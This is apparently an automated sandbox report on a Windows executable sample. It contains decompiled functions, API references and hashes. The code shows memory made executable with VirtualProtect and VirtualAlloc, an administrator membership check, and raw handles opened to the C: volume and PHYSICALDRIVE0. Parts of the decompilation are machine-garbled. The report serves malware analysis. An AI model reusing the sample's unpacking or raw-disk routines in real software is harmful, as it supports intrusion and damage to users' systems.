					 *( *(__ebp - 4) + 0x38) = ( *(__edx + 0x38) << 8) + 0xff;
				}
				__edx = 8;
				__eax = 0;
				 *0x0046C3D8 =  *0x0046C3D8 - 0x800;
				__edx = 8;
				__eax = 0;
				 *((intOrPtr*)(0x46c3d8)) =  *0x0046C3D8 - 0x800;
				__ecx = 8;
				 *0x01019F85 =  *0x01019F85 - 0x400;
				8 = 8 << 0;
				 *((intOrPtr*)(0x1019f85)) =  *0x01019F85 - 0x400;
				__ecx = 8;
				 *((intOrPtr*)(0x1019f85)) =  *((intOrPtr*)(0x1019f85)) - 0x400;
				8 = 8 << 1;
				 *((intOrPtr*)(0x1019f85)) =  *((intOrPtr*)(0x1019f85)) - 0x400;
				__ecx = 8;
				 *0x0046C3F0 =  *0x0046C3F0 - 0x400;
				__ecx = 8;
				__edx = 0x18;
				 *((intOrPtr*)(0x46c3f0)) =  *0x0046C3F0 - 0x400;
				__eax = 8;
				 *0x0046C400 =  *0x0046C400 - 0x800;
				__eax = 8;
				__ecx = 0x28;
				 *((intOrPtr*)(0x46c400)) =  *0x0046C400 - 0x800;
				if( *0x46c420 != 1) {
					 *((intOrPtr*)(__ebp - 0x98)) = 0x100;
				} else {
					 *((intOrPtr*)(__ebp - 0x98)) = 0x200;
				}
				 *((intOrPtr*)(0x1019f85)) =  *((intOrPtr*)(0x1019f85)) - ( *(_t525 - 0x98) << 2);
				 *(_t525 - 0x84) =  *( *((intOrPtr*)(_t525 - 4)) + 0x34) + ( *( *((intOrPtr*)(_t525 - 4)) + 0x38) -  *( *((intOrPtr*)(_t525 - 4)) + 0x34) >> 0xc) *  *( *((intOrPtr*)(_t525 - 4)) + 0x40) + (( *( *((intOrPtr*)(_t525 - 4)) + 0x38) -  *( *((intOrPtr*)(_t525 - 4)) + 0x34) & 0x00000fff) *  *( *((intOrPtr*)(_t525 - 4)) + 0x40) >> 0xc);
				if( *( *((intOrPtr*)(_t525 - 4)) + 0x3c) >  *(_t525 - 0x84)) {
					 *(_t525 - 0xa0) = 0;
				} else {
					 *(_t525 - 0xa0) = 1;
				}
				 *(_t525 - 0x5c) =  *(_t525 - 0xa0);
				if( *(_t525 - 0x5c) == 0) {
					 *(_t525 - 0xa8) =  *(_t525 - 0x84) + 1;
					 *( *((intOrPtr*)(_t525 - 4)) + 0x34) =  *(_t525 - 0xa8);
					 *(_t525 - 0xe8) =  *(_t525 - 0xa8);
				} else {
					 *( *((intOrPtr*)(_t525 - 4)) + 0x38) =  *(_t525 - 0x84);
					 *(_t525 - 0xe8) =  *(_t525 - 0x84);
				}
				 *0x46c328 =  *(_t525 - 0x5c) << 0x14;
				 *((intOrPtr*)(_t525 - 0x28)) = 0x4102c8;
				if( *(_t525 - 0x5c) != 0) {
					 *((intOrPtr*)(_t525 - 0x28)) =  *((intOrPtr*)(_t525 - 0x28)) + 0x500;
				}
				 *( *0x0046C390) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x0046C390) & 0x000000ff) + 0x100));
				 *( *0x01019F3D) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x01019F3D) & 0x000000ff)));
				 *( *0x01019F3D) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x01019F3D) & 0x000000ff) + 0x100));
				 *( *0x0046C39C) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x0046C39C) & 0x000000ff) + 0x200));
				 *( *0x01019F3D) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x01019F3D) & 0x000000ff)));
				 *( *0x0046C3A4) =  *((intOrPtr*)( *((intOrPtr*)(_t525 - 0x28)) + ( *( *0x0046C3A4) & 0x000000ff) + 0x100));
				_t467 =  *0x46372c; // 0x1
				 *0x46372c = _t467 +  *(_t525 - 0x5c) +  *0x46372c;
				_t285 =  *0x46372c; // 0x1
				 *(_t525 - 8) = _t285 - 0x100;
				_t470 =  *0x46c334; // 0x0
				_t381 =  *0x46c35c; // 0x0
				 *((intOrPtr*)( *((intOrPtr*)(_t525 - 4)) + 0x44)) = _t381 + (( *(_t525 - 8) >> 6) + (_t470 >> 0x00000004 & 0x0000000c)) * 0x280 * 4;
				_t382 =  *0x46c338; // 0x0
				 *0x46c338 = (_t382 >> 4) + ( *(_t525 - 8) << 0x00000001 & 0x000000f0);
				_t289 =  *0x46c32c; // 0x0
				 *((char*)(_t289 +  *0x46c330)) =  *(_t525 - 8);
				_t477 =  *0x46c330; // 0x0
				 *0x46c330 = _t477 + 0x00000001 &  *0x46c374;
				_t291 =  *0x46c3c8; // 0x0
				_t386 =  *0x46c3c4; // 0x0
				 *0x46c3c8 = (_t291 << 8) + (_t386 >> 0x18);
				_t480 =  *0x46c3c4; // 0x0
				_t294 =  *0x46c334; // 0x0
				 *0x46c3c4 = (_t480 << 8) + (_t294 >> 0x18);
				_t388 =  *0x46c334; // 0x0
				 *0x46c334 = _t388 << 0x00000008 |  *(_t525 - 8);
				 *0x0046C3A8 =  *(_t525 - 8) << 8;
				_t485 =  *0x46c334; // 0x0
				_t297 =  *0x46c334; // 0x0
				_t392 =  *0x46c334; // 0x0
				 *0x46c38c = ((_t485 & 0x000000f0) + (_t297 >> 0x0000000c & 0x0000000c) + (_t392 >> 0x00000016 & 0x00000003) << 8) +  *0x46c388;
				_t300 =  *0x46c41c; // 0x0
				 *0x46c3cc =  *((intOrPtr*)(_t300 + ( *0x46c3d0 & 0x000000ff) * 4));
				 *0x46c3d0 = 1;
				 *0x46c368 =  *0x46c368 * 0x0000000e -  *(_t525 - 8) - 0x00000001 &  *0x46c378;
				 *0x46c36c =  *0x46c334 * 0x000003fd -  *0x46c3c4 * 0x000007f7 +  *0x46c3c8 * 0x000001a5 &  *0x46c378;
				 *0x46c370 = E004078AF( *0x46c334 * 0x3b +  *0x46c3c4 * 0x17f) &  *0x46c378;
				_t497 =  *0x46c334; // 0x0
				 *0x01019F55 = (_t497 & 0x0000ffff) * 0x1fff;
				 *0x01019F3D = L004069E4( *((intOrPtr*)(_t525 - 4)), E00409A29( *0x01019F55));
				_t501 =  *0x46c334; // 0x0
				 *0x01019F3D = L004069E4( *((intOrPtr*)(_t525 - 4)), E00409D01(_t501 & 0x00ffffff));
				 *0x0046C39C = L004069E4( *((intOrPtr*)(_t525 - 4)) + 8, E0040C08F( *0x46c334 * 0x7f));
				_t409 =  *0x46c3c4; // 0x0
				 *0x01019F3D = L004069E4( *((intOrPtr*)(_t525 - 4)) + 0x10, E00409AB6( *0x46c334 * 0xc5 - (_t409 & 0x0000ffff) * 0xea5f));
				if( *(_t525 - 8) >= 0x61 &&  *(_t525 - 8) <= 0x7a) {
					 *(_t525 - 8) =  *(_t525 - 8) - 0x20;
				}
				if( *(_t525 - 8) < 0x41 ||  *(_t525 - 8) > 0x5a) {
					 *0x46c3c0 =  *0x0046C3BC * 0x1fd;
					_t322 = 0x14;
					 *0x0046C3BC = 0;
				} else {
					_t322 = 4;
					 *0x0046C3BC = ( *(_t525 - 8) +  *0x0046C3BC * 2) * 0xbf;
				}
				 *_t322 =  *_t322 + _t322;
				 *0x0046C3A4 = L004069E4( *((intOrPtr*)(_t525 - 4)) + 8, E0040488D( *0x0046C3BC -  *0x46c3c0));
				 *0x46372c = 1;
				 *0x463730 = 7;
				L004099C4( *((intOrPtr*)(_t525 - 4)) + 0x18);
				 *( *((intOrPtr*)(_t525 - 4)) + 0x40) = E00405061( *((intOrPtr*)(_t525 - 4)),  *(_t525 - 0x5c));
				while((( *( *((intOrPtr*)(_t525 - 4)) + 0x34) ^  *( *((intOrPtr*)(_t525 - 4)) + 0x38)) & 0xff000000) == 0) {
					 *( *((intOrPtr*)(_t525 - 4)) + 0x3c) = ( *( *((intOrPtr*)(_t525 - 4)) + 0x3c) << 8) + (E00406DDF( *((intOrPtr*)( *((intOrPtr*)(_t525 - 4)) + 0x30))) & 0x000000ff);
					 *( *((intOrPtr*)(_t525 - 4)) + 0x34) =  *( *((intOrPtr*)(_t525 - 4)) + 0x34) << 8;
					 *( *((intOrPtr*)(_t525 - 4)) + 0x38) = ( *( *((intOrPtr*)(_t525 - 4)) + 0x38) << 8) + 0xff;
				}
				_t511 =  *0x46c334; // 0x0
				 *(_t525 - 0x64) = _t511 & 0x000000ff;
				if( *0x46c420 != 1) {
					L4:
					return  *(_t525 - 0x64);
				}
				if( *(_t525 - 0x64) == 0x20) {
					L3:
					 *(_t525 - 0x64) =  *(_t525 - 0x64) ^ 0x0000003f;
					goto L4;
				}
				if( *(_t525 - 0x64) != 0x1f) {
					goto L4;
				}
				goto L3;
			}

0x0040a55a
0x0040a55e
0x0040a560
0x0040a56d
0x00408aee
0x00408af4
0x00408afb
0x004042d7
0x004042da
0x004042e0
0x004042e3
0x004042e9
0x004042ec
0x004042f2
0x00408b01
0x00408b01
0x00408b04
0x00408b07
0x00408b0a
0x00408b0d
0x00408b0d
0x00406b25
0x00406b28
0x00406b2e
0x00406b38
0x00406b3e
0x00406b43
0x00406b46
0x00406b49
0x00406b51
0x00406b56
0x00406b5d
0x00406b66
0x00406b6c
0x00406b6c
0x00404e65
0x00404e68
0x00404e6f
0x00404e72
0x00404e7a
0x00404e80
0x00404e83
0x00404e8b
0x00404e91
0x00404e97
0x00404e99
0x00404ea7
0x00404eaf
0x00404eb2
0x00404eb8
0x00404ebf
0x00404ec5
0x00404ec8
0x00404ecf
0x00404ed5
0x00404edf
0x00404ee1
0x00404eee
0x00404ef6
0x00404ef8
0x00404efe
0x00404f03
0x00404f06
0x00404f0c
0x00404f0f
0x00404f14
0x00404f17
0x00404f1d
0x00404f27
0x00404f29
0x00404f2e
0x00404f37
0x00404f3a
0x00404f3f
0x00404f42
0x00404f48
0x00404f50
0x00404f56
0x00404f59
0x00404f61
0x00404f67
0x00404f6d
0x00404f6f
0x00404f7d
0x00404f85
0x00404f88
0x00404f8e
0x00404f93
0x00404f96
0x00404f9c
0x00404f9f
0x00404fa4
0x00404fa7
0x00404fad
0x00404fb7
0x00404fb9
0x00404fbe
0x00404fc7
0x00404fca
0x00404fcf
0x00404fd2
0x00404fd8
0x00404fe0
0x00404fe6
0x00404fe9
0x00404ff1
0x00404ff7
0x00405001
0x00405003
0x00405009
0x00405012
0x00405018
0x0040501c
0x0040501f
0x00405024
0x00405027
0x00409c2b
0x00409c2b
0x00409c2e
0x00409c34
0x00409c37
0x00409c3d
0x00000000
0x00000000
0x00409c43
0x00409c46
0x00409c49
0x00409c4c
0x00409c4f
0x00409c52
0x00409c5c
0x00409c5e
0x00409c61
0x00409c64
0x00409c6a
0x00409c6d
0x00409c70
0x00409c73
0x00409c79
0x00409c7c
0x00409c81
0x00409c84
0x00409c84
0x00408fe7
0x00408fec
0x00408ff5
0x00408ffb
0x00409000
0x00409003
0x00409009
0x00409017
0x00409022
0x00409025
0x0040902b
0x00409038
0x00409043
0x00409045
0x0040904b
0x00409059
0x0040905e
0x00409063
0x00409066
0x0040906c
0x0040907a
0x00409080
0x00409085
0x00409088
0x00409095
0x00408c76
0x0040909b
0x0040909b
0x0040909b
0x0040257b
0x004025bd
0x004025cf
0x0040b2d5
0x004025d5
0x004025d5
0x004025d5
0x004059c0
0x004059c7
0x0040aa11
0x0040aa20
0x0040aa29
0x004059cd
0x004059d6
0x004059df
0x004059df
0x0040b370
0x0040b383
0x0040b38a
0x0040b399
0x0040b399
0x00405d52
0x00405d79
0x00405da2
0x00405dcd
0x00405df4
0x00405e1f
0x00405e21
0x00405e30
0x00405e36
0x00405e40
0x00405e49
0x00405e5d
0x00405e69
0x00405e6c
0x00405e82
0x00405e88
0x00405e96
0x00405e98
0x00405ea7
0x00405ead
0x00405eb5
0x00405ec0
0x00405ec5
0x00405ece
0x00405ed8
0x00405ede
0x00405eea
0x00405efe
0x00405f04
0x00405f10
0x00405f1d
0x00405f34
0x00405f41
0x00405f49
0x00405f4f
0x00405f69
0x00405f97
0x00405fbe
0x00405fc3
0x00405fdd
0x0040600b
0x00406011
0x00406036
0x00406060
0x00406070
0x004060a1
0x004060ab
0x004060c1
0x004060c1
0x0040974d
0x00406e9f
0x00406eaa
0x00406ead
0x0040975d
0x00409777
0x0040977f
0x0040977f
0x00409915
0x00409943
0x00409949
0x00409953
0x00409963
0x00409977
0x0040b691
0x0040b6c7
0x0040b6d6
0x0040b6ea
0x0040b6ea
0x0040946c
0x00409478
0x00409482
0x0040314a
0x00403151
0x00403151
0x0040948c
0x00402941
0x00402947
0x00000000
0x00402947
0x00409496
0x00000000
0x00000000
0x00000000

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction ID: 523668955e0e2244aa789caa92f6427d01868abc63ade59164da16a1192ab317
Opcode Fuzzy Hash: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction Fuzzy Hash: A5E0D831004604ADCB11DE58EC8EBDA7298D705311F6498339906FD581CB3CDA85859F

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040135E(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12, DWORD* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t23;

				_t23 = __eflags;
				_v16 = E00404873(E00403D7B(_t17, __edi, __esi), 0x30dbca36);
				_t15 = E00404B1D(_t23, _a4, _a8);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v8 = _t18;
				_v12 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v8, _v12, _a12, _a16);
			}

0x0040135e
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 009890F5 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00989146

Memory Dump Source

Source File: 00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp, Offset: 00988000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_988000_72E5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9c52e2e1d103b8b5864b4786544e88445c844daed62f9b21d4952fc1a4520c9a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C3113C79A00208FFDB01DF98C989E98BBF5AF08351F098094F9489B362D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00408958(void* __eax, void* __ecx, void* __edx, void* __edi, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(__ebp);
				__ebp = __esp;
				__esp = __esp - 0x2c;
				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x0040895b
0x0040895c
0x0040895e
0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040895B(void* __ecx, void* __edx, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408951(void* __eax, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char* _t24;
				char _t31;
				char _t32;
				char _t33;
				char _t39;
				char _t40;
				char _t41;
				void* _t46;

				 *__edx =  *__edx + __ecx;
				 *(_t46 - 4) = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				 *((intOrPtr*)(_t46 - 8)) = DeviceIoControl( *(_t46 - 4), 0x560000, 0, 0, _t46 - 0x2c, 0x20, _t46 - 0xc, 0);
				_t24 =  *(_t46 + 8);
				_t31 = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *_t24 = _t31;
				_t39 = M004133C4; // 0x53594850
				_t24[4] = _t39;
				_t32 = M004133C8; // 0x4c414349
				_t24[8] = _t32;
				_t40 = M004133CC; // 0x56495244
				_t24[0xc] = _t40;
				_t33 =  *0x4133d0; // 0x3045
				_t24[0x10] = _t33;
				_t41 =  *0x4133d2; // 0x0
				_t24[0x12] = _t41;
				if( *((intOrPtr*)(_t46 - 8)) != 0 &&  *(_t46 - 0x2c) != 0) {
					( *(_t46 + 8))[0x11] =  *((intOrPtr*)(_t46 + 0xffffffffffffffdc)) + 0x30;
				}
				return  *0x46d000( *(_t46 - 4));
			}

0x00408962
0x00408978
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004082B6 Relevance: 4.5, APIs: 3, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E004082B6() {
				long _v8;
				void* _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				struct _SID_IDENTIFIER_AUTHORITY _v20;

				_v20.Value = 0;
				_v19 = 0;
				_v18 = 0;
				_v17 = 0;
				_v16 = 0;
				_v15 = 5;
				_v8 = 0;
				if(AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12) != 0) {
					_push( &_v8);
					_push(_v12);
					_push(0);
					if( *0x413014() == 0) {
						_v8 = 0;
					}
					FreeSid(_v12);
					return _v8;
				} else {
					return 0;
				}
				return _t16;
			}

0x004082bc
0x004082c0
0x004082c4
0x004082c8
0x004082cc
0x004082d0
0x004082d4
0x00408300
0x0040483e
0x00404842
0x00404843
0x0040484d
0x00404853
0x00404853
0x0040aa9c
0x00000000
0x00408306
0x00000000
0x00408306
0x00401be7

APIs

CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00404845
AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004082F8
FreeSid.ADVAPI32(?), ref: 0040AA9C

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.430499796.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_72E5.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction ID: 1502378442f3bba6843c10e462c5ea7b9d530f023e777048d123248eda5abe90
Opcode Fuzzy Hash: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction Fuzzy Hash: C9014470A04348FAEB10DBE4C948BEEBFB8AB15705F008499E101BA1C1D3B89B04DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040803E Relevance: 2.5, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040803E(long _a4) {

				return HeapAlloc(GetProcessHeap(), 8, _a4);
			}

0x00408058

APIs

GetProcessHeap.KERNEL32 ref: 00408043
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 0040804F

Memory Dump Source

Source File: 00000005.00000002.430499796.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmpDownload File
